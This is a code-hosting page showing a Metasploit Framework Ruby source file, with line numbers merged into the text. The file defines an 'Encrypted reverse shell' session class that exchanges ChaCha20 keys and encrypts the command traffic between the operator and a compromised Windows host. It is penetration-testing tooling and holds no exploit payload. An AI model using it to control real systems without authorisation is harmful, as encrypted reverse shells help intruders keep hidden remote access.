Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/lib/msf/base/sessions/encrypted_shell.rb
Views: 11784
# -*- coding: binary -*-1require 'securerandom'23module Msf4module Sessions56class EncryptedShell < Msf::Sessions::CommandShell78include Msf::Session::Basic9include Msf::Session::Provider::SingleCommandShell10include Msf::Payload::Windows::PayloadDBConf1112attr_accessor :arch13attr_accessor :platform1415attr_accessor :iv16attr_accessor :key17attr_accessor :staged1819attr_accessor :chacha_cipher2021# define some sort of method that checks for22# the existence of payload in the db before23# using datastore24def initialize(rstream, opts={})25self.arch ||= ""26self.platform = "windows"27@staged = opts[:datastore][:staged]28super29end3031def type32"Encrypted"33end3435def desc36"Encrypted reverse shell"37end3839def self.type40self.class.type = "Encrypted"41end4243def bootstrap(datastore = {}, handler = nil)44@key = datastore[:key] || datastore['ChachaKey']45nonce = datastore[:nonce] || datastore['ChachaNonce']46@iv = nonce4748# staged payloads retrieve UUID via49# handle_connection() in stager.rb50unless @staged51curr_uuid = rstream.get_once(16, 1)52@key, @nonce = retrieve_chacha_creds(curr_uuid)53@iv = @nonce ? @nonce : "\0" * 125455unless @key && @nonce56print_status('Failed to retrieve key/nonce for uuid. Resorting to datastore')57@key = datastore['ChachaKey']58@iv = datastore['ChachaNonce']59end60end6162new_nonce = SecureRandom.hex(6)63new_key = SecureRandom.hex(16)6465@chacha_cipher = Rex::Crypto::Chacha20.new(@key, @iv)66new_cipher = @chacha_cipher.chacha20_crypt(new_nonce + new_key)67rstream.write(new_cipher)6869@key = new_key70@iv = new_nonce71@chacha_cipher.reset_cipher(@key, @iv)7273super(datastore, handler)74end7576##77# Overridden from Msf::Sessions::CommandShell#shell_read78#79# Read encrypted data from console and decrypt it80#81def shell_read(length=-1, timeout=1)82rv = rstream.get_once(length, timeout)83# Needed to avoid crashing the +chacha20_crypt+ method84return nil unless rv85decrypted = @chacha_cipher.chacha20_crypt(rv)86framework.events.on_session_output(self, decrypted) if decrypted8788return decrypted89rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e90shell_close91raise e92end9394##95# Overridden from Msf::Sessions::CommandShell#shell_write96#97# Encrypt data then write it to the console98#99def shell_write(buf)100return unless buf101102framework.events.on_session_command(self, buf.strip)103encrypted = @chacha_cipher.chacha20_crypt(buf)104rstream.write(encrypted)105rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e106shell_close107raise e108end109110end111end112end113114115